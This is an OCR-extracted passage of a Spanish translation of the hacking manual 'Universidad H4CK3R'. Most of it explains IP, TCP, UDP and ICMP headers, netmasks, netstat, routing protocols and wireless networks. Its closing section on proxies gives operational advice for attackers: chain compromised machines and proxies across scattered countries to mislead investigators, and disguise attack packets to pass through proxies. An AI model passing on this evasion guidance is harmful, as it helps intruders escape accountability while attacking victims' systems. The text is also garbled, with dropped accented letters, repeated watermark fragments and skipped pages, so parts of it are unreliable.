tambin definido en el protocolo, llamado datagrama IP. Un datagrama IP es una
secuencia de series de bytes, de los cuales los primeros 20 componen la cabecera IP. La
alusin a los telegramas no es cacofonca: un datagrama se parece mucho a su colega de
"carne y hueso " (o mejor dicho, papel y tinta):
Versin (4)
IHL (4)
Identificacin (16)
Tiempo de vida (TTL) (8)
Protocolo (8)
Fragmentacin (13)
Llenado
Datos
Las cifras entre parntesis indican el tamao del campo en bits. Al principio de los
datagramas tenemos el campo versin. Como su nombre indica, es la versin del
protocolo IP en uso. Consta de cuatro bits, lo que dara 16 posibilidades diferentes de
versiones IP. Sin embargo, actualmente hay slo dos, IPv4 e IPv6. El valor almacenado
all es numrico, por lo que el IPv4 estara representada por el nmero binario 0100, e
IPv6 por 0110.
135
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Observando la cabecera, vemos que est formada por filas de 32 bits de longitud. El
campo tamao de cabecera (Internet Header Length o IHL) indica la longitud de la
cabecera en nmero de palabras de 32 bits. Si no hay opciones, el valor vlido para este
campo es de cinco. Habiendo opciones, ese valor puede crecer indefinidamente para dar
cabida a todas.
Los enrutadores son equipos con una cierta inteligencia. Saben, por ejemplo, cual de las
rutas que se les atribuyen es ms corta o ms confiable. El campo tipo de servicio (ToS
o Type of Service) permite dar a los routers orientaciones sobre cmo manejar el paquete
y dnde enviarIo. Cuenta con cuatro indicadores: minimizar los retrasos, maximizar el
rendimiento, maximizar la fiabilidad y reducir al mnimo el costo. En base a estos
indicadores, el router enviar el paquete IP por una ruta concreta. La mayora de las
implementaciones existentes, sin embargo, ignora este campo solemnemente, por lo que
no suele tener el efecto deseado.
El campo tamao total almacena la longitud total del datagrama en bytes, incluyendo
toda la cabecera ms el contenedor de datos. En teora, 16 bits pueden indicar un tamao
de hasta 65.535 bytes. Pero un paquete IP de 64 KB es monstruoso. En la prctica, el
tamao estndar de los paquetes es de 576 bytes. Una vez establecida la conexin y que
el sistema se asegure de que todos los componentes de la ruta - principalmente el equipo
de destino soportan paquetes ms grandes, este valor puede ser modificado. De hecho,
uno de los mtodos ms antiguos de denegacin de servicio o DoS, era forzar el envo de
un paquete IP con un tamao de 64 kbytes. Si el destino no estaba listo para un paquete
tan grande con el tiempo sera derrocado. Es el llamado Ping de la Muerte.
A veces es necesario fragmentar el paquete IP. Diversas razones pueden obligar a un
router a eso. Una de ellas es el enrutamiento entre dos redes cuyas capas 2 (enlace de
datos) tengan implementadas tamaos diferentes de payload. Por ejemplo, entre una red
Ethernet, que tiene un MTA (unidad de transferencia mxima) de 1.500 bytes para una
clula ATM con una longitud de 480 bytes. El estndar de paquetes IP de 576 bytes, no
cabe en la clula ATM. Se debe romper en dos el paquete IP, para que pueda viajar a
este nuevo medio. Cuando, por el contrario, los paquetes fragmentados salen de la ATM
hacia otro segmento de Ethernet, tiene que haber un mecanismo que pueda
desfragmentar el paquete de nuevo.
El campo identificacin lleva un nmero que reconoce el paquete. En realidad, es un
contador de ciclos, porque cuando la cuenta llega a 65535, vuelve a cero. Si es necesario
fragmentarIo, todas las partes llevan el mismo ID. Por lo tanto, es imposible confundirlo
con Ios fragmentos de otros paquetes. El campo flags tiene tres controles que indican si
un datagrama puede o no ser fragmentado y si hubo fragmentacin. La fragmentacin
indica la posicin de ese fragmento dentro del datagrama original, y se utiliza para volver
a montarlo. Cada unidad en fragmentacin representa un desplazamiento de 64 bits en el
paquete original. En un paquete no fragmentado, el valor de este campo es cero.
Uno de los campos ms importantes de los datagramas IP es el tiempo de vida o TTL.
Indica el nmero mximo de routers por los que el paquete puede pasar. Cuando el valor
llega a cero, el paquete se descarta. Este dispositivo evita que los paquetes IP sin dueo
vaguen de forma indefinida por Internet.
136
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
El campo protocolo indica que protocolo de capa 4 est cargado en nuestro paquete IP ver RFC1700. El nmero de verificacin (checksum) es, como hemos visto en el paquete
de Ethernet (Captulo 2, Redes I), un nmero calculado en origen, basado en todos los
datos del paquete. Este nmero se calcula de nuevo en el destino y, si es diferente, el
paquete se descarta. Tenga en cuenta que el re-clculo se produce cada vez que el
paquete pasa a travs de un router. Cmo los datos de cabecera cambian en el camino,
el checksum es diferente en cada segmento a travs del cual pasa.
Poco despus, tenemos finalmente los campos de direccin. Ambos tienen una longitud
de 32 bits. Seguido, tenemos el campo de opciones, que puede tener de cero a varios
bytes. Dependiendo del nmero de opciones, puede abarcar varias lneas de 32 bits. El
campo llenado tiene un tamao variable y asegura que la ltima lnea del campo de
opciones tenga una longitud de 32 bits, lo que garantiza la coherencia de la cabecera.
Escarbamos un poco en los bits? Si tienes acceso a cualquier Unix, puedes ver el
contenido de los paquetes IP con tcpdump:
Este comando examina todos los paquetes que entran y salen de la mquina. Se puede
observar que el tcpdump decodifica algunas cosas: tiempo en que el paquete paso por
la interfaz (05:39 am), direccin de origen (192.168.1.11) y destino (213.61.48.245) y
algunos indicadores de control.
Justo debajo, en hexadecimal, estn los bytes correspondientes al paquete IP completo.
Cada cifra representa 4 bits.
Se podra utilizar en lugar del tcpdump, el programa Ethereal (www.ethereal.com)
[Actualmente Wireshark; www.wireshark.org]. que tiene versiones para Windows y Unix y un
hermoso y funcional interfaz de usuario. Los autores recomiendan el excelente Ethereal
para el diagnstico de prcticamente todas las cuestiones relacionadas con el rendimiento
y los errores en las redes de ordenadores. Para este ejemplo, sin embargo, la salida de
tcpdump servir.
Analizando un poco, vemos que el primer dgito tiene el valor 4, es decir 0100. Estamos
hablando por tanto de un paquete IPv4. El segundo dgito es 5, lo que indica que nuestro
paquete IP tiene una cabecera con cinco filas de 32 bits.
Uy! Ya sabemos lo mucho que tenemos de encabezado.
Separandolo, tenemos que:
4500 0034 3779 4000 4006 3b65 c0a8 010b d53d 30f5
137
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Encapsulacin de Enlace:
Ethernet
Direccin de HW
00:08:74:B5:64:95
inet addr:. 192.168.1.11
Broadcast: 192.168.1.255
Mscara: 255.255.255.0
Puede haber, o no, ms informacin aadida a la salida. Las direcciones IP son definidas
por la interfaz. En el ejemplo que se muestra (una mquina Linux) muestra los datos de la
interfaz eth0. Si hubiera otra interfaz (por ejemplo eth1) existiran nmeros IP para las dos
interfaces. Otro dato que aparece es la direccin MAC. Pero qu pasa con los otros dos
campos, Broadcast y Mscara? Para descubrir para que sirven ambos, debemos entender
el concepto de clases de redes.
138
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
- Redes y Servidores
El nmero IP se puede dividir en dos partes que identifican en que red est conectado y
su direccin nica dentro de esa red. Por ejemplo, la direccin 192.168.1.11, podramos
decir que es la red 192.168.1 y 11 representa el ordenador numero 11 conectado a esa
red.
Pero espera! Dnde termina el nmero de red y dnde empieza el nmero de host? Para
definir esto, se utiliza un nuevo elemento, la mscara de red. En la direccin de nuestro
ejemplo, la mscara de red es 255.255.255.0. Para entender cmo esta maraa de
nmeros puede separar algo, vamos a convertirlo todo en binario:
192.168.1.11 = 11000000.10101000.00000001.00001011
255.255.255.0 = 11111111.11111111.11111111.00000000
Ahora, slo hay que hacer una operacin lgica. El resultado de la operacin indica la red
(por lo que se denomina una mscara de red). En la prctica, significa que todas las
posiciones de la mscara que tienen 1, indican que este bit de direccin pertenece al
nmero de red. En nuestro ejemplo, la red sera 192.168.1.0. nuestro host sera el nmero
11 para identificarlo en esta red.
Pero, cmo introducir la mscara correcta? Para ello, la direccin completa se divide en
clases. No entraremos en detalles de por qu se dividi de esta manera porque es
irrelevante para nuestros propsitos. Basta saber que hay cinco clases de direcciones, y
cada una tiene la siguiente configuracin:
Las cifras en los cuadros anteriores representan la posicin de los bits en la direccin.
Vemos que las direcciones de clase A tienen 24 bits reservados para las mquinas y
slo 8 bits para las redes. Esto nos da 256 redes diferentes, cada una con ms de 16
millones de hosts. En el caso de la clase C, tenemos exactamente lo inverso: 16
millones de redes, cada una con 256 direcciones de host posible. En la Clase B es
cincuenta-cincuenta: 65.536 nmeros de cada lado.
Dependiendo de la aplicacin, se utiliza uno u otro espacio de direcciones. Haciendo
cuentas, y teniendo en cuenta los bits iniciales de las clases (que nunca cambian),
tenemos el siguiente desglose:
139
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
seccin del correo electrnico. Cuando se conecta al servidor SMTP a travs del puerto
TCP 25, nuestro programa favorito (los autores utilizan Eudora, KMail) recibe una cadena
como esta:
HELO smtp.sudominio.com.br
MAIL FROM: [email protected]
RCPT TO: [email protected]
DATA
Date: Mon, 07 Apr 2003 12:16:35 -0500 (EST)
From:
Cada mensaje contiene un encabezado como este y varios kbytes (a veces MBbytes,
dependiendo de cuntos das no se compruebe el correo ...). Como cualquier tonto puede
ver (hey, puedo ver!), es imposible transportar todos los datos de su correo electrnico (o
una pgina Web, KaZaA o MP3) en un nico paquete TCP. Por lo tanto, la fragmentacin
es el principal mecanismo del Protocolo.
El encabezado TCP tiene generalmente 20 bytes y parece a esto:
Puerto de origen (16)
Tamao (4)
Reservado (6)
Flags(6)
Verificador de TCP(16)
Llenado
Datos
141
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Mira los datos dentro del marco. Este es el campo de datos del paquete IP. Pero
recuerde: el paquete TCP esta "envuelto" dentro del IP, entonces si separamos los
primeros 20 bytes del campo de datos IP tenemos la cabecera TCP.
0b03 0050 785c 4fc0 77aa ce8b 8010 1920 c9b6 0000
Los 2 primeros bytes indican el puerto de origen. 0b03 es 2819 en decimal. Es un puerto
superior a 1024 o no privilegiado, lo que indica que el paquete probablemente provena de
un software cliente. El destino de puerto, 0050, es 80 en decimal. Por lo tanto, se puede
deducir que este paquete:
- Fue creado por un navegador web, como Mozilla.
- Se dirige a un servidor Web, en este caso el Apache de Greenpeace.org
Otros campos tambin son reveladores,
- Nmero de secuencia: 785C 4fc0. El nmero secuencial en TCP no se presta, apenas, a
la fragmentacin. El protocolo TCP controla el orden en que los paquetes se reciben y los
ordena en destino, si estn desordenados. Por otra parte, si un paquete tarda en llegar, la
mquina de destino hace con la mquina del cliente lo mismo que hacemos en el
McDonald's pedir nmero.
- Nmero de Reconocimiento: ce8b 77aa. El equipo de destino de los paquetes, siempre
devuelve un nmero de reconocimiento de un paquete recibido previamente. Este
nmero es secuencial del paquete recibido + 1.
- Longitud del encabezado: 5
- Flags: 010 o en binario 010000. Los flags estn en orden, URG, ACK, PSH, RST, SYN y
FIN. En este ejemplo, vemos que el indicador ACK est encendido.
- Tamao de la ventana: 1920, en decimal 6432. Es la mxima cantidad de bytes que la
fuente puede manejar.
- Verificador: c9b6. Es la suma de comprobacin del paquete TCP.
- Indicador de emergencia: 0000. El protocolo TCP permite que ciertos datos en el
paquete se "salten la cola" y se procesen en primer lugar. El flag URG indica que los
datos existen, y el puntero indica la posicin, dentro del rea de datos, en los que estos
paquetes se encuentran. En nuestro paquete de ejemplo, no hay datos urgentes para
procesar.
- Puertos TCP
Se dice que el TCP es un protocolo orientado a conexin. Esto significa que no importa
los caminos por los que ande el paquete IP: para TCP no existe un "mundo exterior". El
TCP crea un canal virtual entre el origen y el destino, y este canal es inmune a las
influencias externas. La alegora del can es perfecta: TCP crea una tubo entre el origen
y la aplicacin de destino, y las dos partes "hablan" por l. Quien mire por un borde no
ver cables, routers, IPs, Ethernet, tarjetas de red, nada de eso. Solo vera a su
compaero de conexin al otro lado. Esta conexin slo es posible porque existe el
concepto de puertos.
Vamos a divagar un poco. Usted debe haber ido a un bar o restaurante donde la cocina
142
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
est arriba y hay montacargas para los diferentes tipos de artculos que se ofrecen en el
men. Las bebidas no pueden viajar en el mismo montacargas que los platos calientes
porque se calientan. Estos no deben circular en el mismo entorno que las ensaladas,
porque las marchitara y posiblemente las dejara grasientas. Por no hablar de los postres.
Hipotticamente, necesitamos por lo menos cuatro ascensores.
Adems, todas las mesas estn numeradas. Si consideramos que los camareros son los
paquetes IP, las comandas pueden servir como paquetes TCP. Cada mesa "conecta" con
un ascensor a travs de comanda/TCP. La mesa 26 se puede conectar al ascensor 4 y
esperar un postre, la mesa 31, al ascensor 3 y esperar espaguetis a la Vongola.
Tenga en cuenta que cada uno de los ascensores en el restaurante presta un servicio
diferente. Si la pareja de la mesa 4 desea un servicio completo, tendr que conectarse en
orden a los ascensores 1, 2, 3 y 4. El caf es un ejemplo de un servicio alternativo que
viene por la puerta de otro, por el ascensor de postres. Y la cuenta viene a travs de una
puerta desconocida y misteriosa (no viene de ningn ascensor), estoy pensando que es
una puerta trasera
Volviendo al campo de los ordenadores, se puede asignar cualquier puerto a cualquier
servicio. Sin embargo, hay sugerencias para el uso de ellos, todas las referencias estn
en RFC1700. Por ejemplo, el puerto 80 es por lo general destinados a servidores Web o
HTTP. Cuando se abre una pgina Web y no se especifica la puerta, su navegador intuye
que debe usar el puerto 80. Puede configurar un servidor Web y asignarIe el puerto
12345, si lo desea. Sin embargo, debe informar a todos los clientes que el servidor utiliza
este puerto.
Una sesin TCP se parece a esto:
Nota: el puerto del cliente es lo que llamamos de alta o no privilegiados. Es mayor que
1024 y por lo general es proporcionado por el sistema operativo, que no utiliza un puerto
fijo para cada aplicacin, si no el puerto mas cercano que este disponible. El puerto del
servidor es lo que llamamos de baja o alta prioridad . Estos puertos, a diferencia de los
clientes, son definidos por el IETF y normalizados por RFC1700. Piense en los servicios
ms comunes que se utilizan en Internet: FTP, SMTP, DNS y puertas HTTP. Sus puertos,
de acuerdo con RFC1700, son, respectivamente, 21, 25, 53 y 80. Echa un vistazo a la
lista completa en www.ietf.org/rfc.htmI.
Hay una manera fcil de ver qu puertos estn siendo utilizados. El comando netstat,
presente tanto en Windows como Unix, muestra todos los aspectos del estado de la
conexin del ordenador a la red. Teclear el comando sin argumentos mostrar todas las
conexiones activas (voy a utilizar un ejemplo de Windows, esta vez para no me llame
radical):
143
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Ahora intntelo con las opciones -na. La opcin n le dice a netstat para no resolver
los nombres de los sitios y servicios, mostrndolos cmo nmeros IP y nmeros de
puerto. Observe la columna direccin local. Los miles inmediatamente despus del signo
":" son los puertos por los que las aplicaciones cliente "escuchan" y hablan con los
servidores. En la direccin externa, observe que los servicios estn siendo
proporcionados por un puerto privilegiado: netbios-ssn (139), http (80) y ftp (21). Los otros
dos estn "escuchando"en puertos altos.
Como veremos en captulos posteriores, averiguar qu puertos estn activos en nuestro
ordenador es esencial para que identifiquemos posibles actividades de los hackers
maliciosos. Por otro lado, conocer los puertos comunes y las herramientas que las
manejan, pueden facilitar las cosas a estos hackers.
- Los bits de control TCP
Para la mayora de las aplicaciones, los bits de control del protocolo TCP son una parte
importante de los trabajos de conexin y transporte. Cada uno de estos seis bits en el
campo Flags del paquete IP tiene una funcin especfica e importante en el
establecimiento, control y gestin de sesiones. En el captulo 2, Redes I, nos referimos a
ellos de forma rpida:
Casi todas las tcnicas de escaneo de puertos hacen uso de los signos (o flags) TCP,
UDP o paquetes ICMP intercambiados entre los programas que se quieren conectar. Slo
como referencia rpida, las seales son estas, en el orden en que aparecen en los Flags:
- URG (urgente) Sealizador de urgencia;
- ACK (reconocimiento) - Indica que los paquetes anteriores han sido aceptados en el
destino;
- PSH (Push) - Una especie de "vlvula de seguridad", acelera la transmisin para poder
terminarIa;
- RST (reset) - Para la conexin debido a errores o "cada de la lnea";
- SYN (sincronizar) Intenta la sincronizacin entre los puertos;
- FIN (final) - Final de conexin, utilizado al final de la transmisin (no hay ms datos);
Sin los indicadores de control, ninguna relacin puede establecerse o mantenerse. Para
ello, el TCP/IP utiliza un saludo en tres pasos bsicos, que abre la sesin de
comunicacin y sincroniza entre los dos puertos los nmeros de secuencia de paquetes
TCP. Observe:
144
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
cuando usted est escuchando la radio o de vdeo a travs de Internet, el orden de los
paquetes e incluso su fiabilidad ya no son tan necesarios.
Es en este contexto entra en escena el User Datagram Protocol. Como su nombre
indica, el datagrama UDP es configurable por el usuario. Su cabecera es muy simple, y
corresponde al propio programa establecer las normas y la informacin de conexin para
el intercambio entre las partes. Comnmente se usa el trmino no es de fiar para
describirlo, porque no tiene forma de recuperacin de errores, pero eso es mentira. El
UDP se utiliza para numerosos casos en que las opciones de estabilidad de TCP son
todava insuficientes, por lo que deben aplicarse directamente en la aplicacin.
El paquete UDP no tiene ningn campo de control, secuencia y reconocimiento. Dado que
no se puede establecer una conexin con el TCP, porque no hay protocolo de saludo, se
dice que UDP no esta orientado a la conexin. O, usando la jerga informtica inglesa,
connectionless..
Volviendo a nuestro streaming, la falta de un paquete UDP cualquiera, representa una
mancha en la imagen en streaming que pasa desapercibida por la velocidad con la que se
pone otra imagen en su lugar. Comparando, la demora que causaran todos los controles
del paquete TCP haran el vdeo muy desagradable de ver. Un paquete UDP se parece a
esto:
Puerto UDP de origen (16)
Checksum(16)
Datos
Vemos que el paquete UDP es tacao en recursos de red. Su cabecera apenas tiene 8
bytes, en comparacin con el TCP que tiene 20 o ms.
Protocolo ICMP
El personal que desarroll la familia de TCP/IP no dio punto sin hilo. Una de las mejores
cosas para el control y sealizacin de eventos y los problemas en las redes IP es el
Internet Control Message Protocol. Su funcin es la de enviar comandos simples a las
interfaces de red y routers para que hagan algo o respondan a su estado. Ademas de ser
utilizado automticamente por las interfaces y routers, es una herramienta muy
interesante para el administrador, para solucionar problemas de la red. Los hackers
tambin adoran los recursos que ICMP proporciona para descubrir la topologa de nuestra
red
El ICMP es un protocolo de nivel 3 (ups, tenemos que ponerlo antes que el TCP, no?
Bueno, pensamos que, didcticamente, estara mejor aqu). La cabecera ICMP es
literalmente la misma que la de IP, pero en el campo de los protocolos, en lugar de los 6
del TCP o los 17 del UDP, ponemos 1. En el campo de datos del paquete IP se inserta en
el un campo de control, llamado ICMP Type Field, que identifica el tipo de mensaje que
ICMP va ha transportar. Estos cdigos tambin se definen por la IETF en (adivine. ..) la
146
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Destination Unreachable
Codes
0 Net Unreachable
1 Host Unreachable
2 Protocol Unreachable
[RFC792]
147
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
3Port Unreachable
4 Fragmentation Needed and Don't Fragment was Set
5 Source Route Failed
6 Destination Network Unknown
7 Destination Host Unknown
8 Source Host Isolated
9 Communication with Destination Network is Administratively Prohibited
10 Communication with Destination Host is Administratively Prohibited
11 Destination Network Unreachable for Type of Service
12 Destination Host Unreachable for Type of Service
5
Redirect [RFC792]
Codes
0 Redirect Datagram for the Network (or subnet)
1 Redirect Datagram for the Host
2 Redirect Datagram for the Type of SerVice and Network
3 Redirect Datagram for the Type of Service and Host
11
12
Busque las RFC indicadas y estudie el significado de cada uno de los signos y cdigos.
Vale la pena!
Laboratorio de Redes II
En el captulo Redes I se citaron los equipos necesarios para montar una red simple con
dos computadoras utilizando un cable de conexin cruzada, por lo general llamado "cable
cruzado". Nuestro principal objetivo fue el montaje de una red domstica, sin necesidad
de utilizar equipos ms complejos, tales como concentradores, puentes, switches y
routers, aunque hemos visto algunas de las definiciones de esos dispositivos.
Para llevar a cabo muchos de los experimentos sugeridos en los captulos siguientes,
tenemos que preparar una red de prueba un poco ms elaborada. Por supuesto, debe
estar aislada de la red de produccin, pero debe tener alguna conexin a Internet. Las
ventajas de tener un ambiente controlado para hacer sus pruebas son evidentes:
- No hay peligro de daos a la maquinaria de produccin o de uso frecuente;
- Del mismo modo, su red corporativa estar segura;
148
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
IP del router de origen - Indica la direccin IP del router que enva el mensaje;
Area - Incluso en las zonas que el mensaje se refiere (en las redes OSPF puede ser
dividido en zonas);
Checksum: Suma de comprobacin del mensaje;
Tipo de autenticacin - Informacin sobre la contrasea;
Autenticacin - Si hay contrasea.
RIP
RIP hace que los routers enven sus tablas de enrutamiento cada 30 segundos a los otros
routers, lo que provoca una constante actualizacin de las tablas sobre la base de otros
routers. Uno de los mayores problemas encontrados en este protocolo es que establece el
camino a seguir sobre la base de la distancia al receptor, sin tener en cuenta las
condiciones y el rendimiento de la ruta a recorrer.
Los mensajes RIP tienen los siguientes elementos:
Comando - Se utiliza para identificar si el mensaje es una peticin o una respuesta;
Versin - Muestra la versin del protocolo;
Reservados - Hay varios campos marcados como reservados, y todos ellos estn llenos
de ceros;
Protocolo - Dice que protocolo se ha utilizado para generar direcciones;
Direccin IP - Dice cual es la IP de la red de cuya distancia se informa en el mensaje;
Distancia - Determinar la distancia hasta la red en el campo de direccin IP.
Internet
En 1969, naci Internet. Esta puede ser considerada como una de las historias ms
contadas en el mundo digital, pero nunca est de ms recordar el origen de uno de los
grandes frutos de la humanidad. La intencin era vincular a los laboratorios de
investigacin de Norteamrica ARPA (Advanced Research Projects Agency), con miras a
la estabilidad de todo el sistema si algo le suceda a uno de sus terminales. Podemos
decir que otro avance de la humanidad naci unido a las intenciones militares, todo por
culpa de la guerra fra.
Poco a poco, la red se fue expandiendo a las universidades y laboratorios, y con el tiempo
termin ganando el mundo. No hay un lugar central donde se encuentra Internet, son ms
de 40 000 redes repartidas por todo el mundo, todas ellas basadas en TCP/IP. No es de
extraar que se hiciese tan popular, como hemos dicho antes.
La Red Mundial de computadoras, tambin llamada WWW (World Wide Web), se
compone de redes de alta capacidad, que a su vez estn conectadas a computadoras
muy potentes conocidas como Backbones (columna vertebral) con gran ancho de banda.
Discutir los componentes de Internet seria como discutir el propio TCP/IP, que estudiamos
en el captulo Redes I, se aconseja al lector mirar trminos como FTP, HTTP, DNS, y
otras que se describen all. Estos son los trminos comnmente usados en la gran Red.
151
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Subredes
Una red basada en TCP/IP se puede dividir en redes ms pequeas para que haya la
posibilidad de crear dominios de broadcast ms pequeos, y as hacer un mejor uso de
los recursos disponibles. Se les conoce como sub-redes o redes segmentadas. Estas
redes se utilizan slo en un router IP. Por lo tanto, cada subred tiene una sola identidad.
La red tiene un nmero fijo de IP, como 192.168.10.0, y todas las mquinas incluidas en
ella tendran IPs basadas en ese nmero, por ejemplo:
Red IP: 192.168.10.0
IPs Internos: 192.168.10.1, 192.168.10.2, 192.168.10.3 ...
Por otra parte, las mscaras de subred estn diseadas para ayudar a identificar las
mquinas en la red. Puede encontrar ms informacin sobre ellas en el captulo Redes I,
en TCP/IP.
Redes Inalmbricas
- Radio
Sistema utilizado principalmente en las redes pblicas, dada la falta de seguridad en sus
transmisiones. Es necesario que las antenas se ubiquen en el rango de transmisin, pero
nada impide que alguien (los hackers, tal vez) instale una antena para capturar estos
datos, que, si no estn debidamente encriptados, pueden ser utilizado para fines distintos
de los previstos.
Una de sus grandes ventajas es que su funcionamiento se hace con una frecuencia de
2,4 GHz, de uso pblico, y por lo tanto no hay necesidad de pedir autorizacin del
gobierno para su uso.
Otra forma de transmisin de datos por radio se conoce como transmisin direccional. Se
hace por medio de antenas parablicas, pero estas deben estar alineadas y, cualquier
obstculo o desviacin puede comprometer en serio la conexin.
- IEEE 802.11
Fue el estndar diseado para poner remedio a la falta de estandarizacin entre los
fabricantes de tecnologa de radio, porque no haba compatibilidad entre los diferentes
productos, impidiendo la comunicacin entre redes. Utiliza un esquema conocido como
Carrier Sense Multiple Access with Collision Avoidance (CSMA/CA). El transmisor hace
una prueba inicial y luego inmediatamente sincroniza las mquinas para que no haya
conflictos o colisiones en la transmisin de datos.
- Infrarrojos
El uso de infrarrojos para la comunicacin inalmbrica tiene su aplicacin ms orientada a
las redes locales. Su alcance se restringe a un ambiente pequeo y totalmente sin
barreras, porque el espectro de la luz no puede pasar a travs de Ios obstculos.
- Bluetooth
Bluetooth se considera una red inalmbrica de bajo costo, pero que, lamentablemente,
tiene poco alcance. Su propagacin se realiza a partir de seales de radio de alta
152
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
153
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Vulnerabilidades
II
Capitulo 9
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Internet, algunos gratuitos, pero la mayora son de pago. Tambin puede ser que un
determinado proxy este mal configurado y acepte la transmisin total en Internet. Aun bien
configurado, hay fallos en algunos softwares que permiten a los piratas informticos
utilizar servidores proxy como escudos.
La otra cara de la moneda tambin es vlida. Un proxy es un servicio abierto en un puerto
TCP y por tanto est sujeto a fallos. Un servicio de proxy puede ser una puerta de entrada
para la invasin de la mquina y comprometer otros servicios antes "saludables".
- Proxies pblicos
Una forma tranquila de navegar por Internet sin ser molestados es utilizando un servidor
proxy pblico. Detrs de este servidor, tu IP sea invisible para todos los sitios web:
estando a salvo de vendedores de enciclopedias, coleccionistas de cookies y las
investigaciones del gobierno. Hackers que lo estn intentando, slo conseguirn la IP del
proxy. Como cualquier tecnologa tambin puede usarse para el mal, usted se puede
ocultar detrs del proxy para realizar ataques, que se registraran en los logs de la
vctima con una IP diferente a la suya. La conexin entre el usuario y el proxy se puede
cifrar con SSL - normalmente a travs de una shell segura o SSH la mayora de los
servidores garantizan que sus actividades no son registradas o sus datos reenviados a las
empresas que patrocinan el proxy. Parece seguro, no? No tanto.
Para bien o para mal, el propio proxy tiene informacin sobre l. Incluso habiendo proxies
pblicos garantizando que usted no sera rastreado ni registrado en los logs del servidor,
algunos de ellos pueden estar mintiendo. Si causas un dao en Internet, tarde o temprano
seras rastreado hasta el proxy. Basta una orden judicial, para que el responsable del
servidor abra sus registros a la Polica. Seras detenido en cuestin de horas.
Hay varias formas para tratar de evitar este inconveniente. La primera es una tcnica
llamada proxy en cadena; se invade un equipo sin importancia, que se utiliza para invadir
un segundo, que se utiliza para invadir a un tercero. Entre cada uno de estos equipos se
utiliza un proxy, aumentando el nmero de hots intermedios en seis o ms, imponiendo
una dificultad adicional para los investigadores, que debern analizar los registros de
proxies diferentes para determinar el origen de cada una de las etapas. La ventaja de este
mtodo es que es independiente de la plataforma: se pueden utilizar mquinas Unix,
Windows, Mac o cualquier otra que tenga conectividad compatible con el proxy de
servicio. Recuerde utilizar diferentes servidores y, preferiblemente, geogrficamente
distantes. Si se encuentra en Brasil y quiere invadir un sistema en los Estados Unidos, su
primer proxy puede estar en Australia, el segundo en el mismo Brasil, y el tercero en
Europa. Incluir a Brasil en la lista de servidores proxy se utiliza como un "truco sucio" para
confundir a los investigadores, que normalmente descartan la posibilidad de que el
atacante est en el mismo pas que el proxy investigado. ("Nadie sera tan burro ...").
Algunas direcciones de proxies pblicos:
www.publicproxyservers.com/
www.stayinvisible.com/
www.tools.rosinstrument.com/proxy/
www.antiproxy.com/
156
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.netspy.ukrpack.net/
Y, por supuesto, su motor de bsqueda favorito en Internet (Google, todos los de la Web),
utilizando las palabras clave "proxy pblico, puede encontrar cientos de listas de
servidores pblicos disponibles. Instrucciones para configurar su navegador para usar uno
de estos servicios se pueden encontrar en la ayuda de los propios programas. Tenga en
cuenta que hay servidores proxy para algunos servicios concretos, por lo general HTTP,
FTP y correo electrnico. Si desea utilizar uno de ellos para un escaneo de puertos o
incluso un ataque, debe disimular los paquetes TCP/lP de su ataque, para que parezcan
compatibles con el servicio soportado y pasen a travs de proxy.
Otra forma de mejorar el anonimato en la Red, ms sencillo pero menos eficaz, es utilizar
programas que automticamente eligen de una lista de proxies y se conectan a ellos.
Cada vez que el programa es activado, se elige un servidor al azar o de acuerdo a unos
criterios predefinidos. Algunos tambin son capaces de cambiar entre proxies cada cierto
tiempo, pulverizando los rastros. El navegador debe ser configurado para acceder al
programa, que ejecuta la direccin de bucle invertido ("localhost" o 127.0.0.1), y dejar que
el programa se encargue de encontrar un proxy seguro.
Un buen servicio de pago proxy asistida por un programa cliente es el Anonymizer
(www.anonymizer.com). La versin ms bsica del coste del servicio en marzo de 2003
EE.UU. $ 49.90 ms impuestos, y estaba disponible slo para Windows. Entre las
caractersticas que ofrece, adems de proxy aleatorio con servidores pblicos est, el
cifrando de direcciones URL, la gestin de las cookies, bloqueo de web bugs, eliminacin
automtica del historial de pginas visitadas y una barra de herramientas para Internet
Explorer 6.
Adems de l, podemos destacar el
Anonymity 4 Proxy
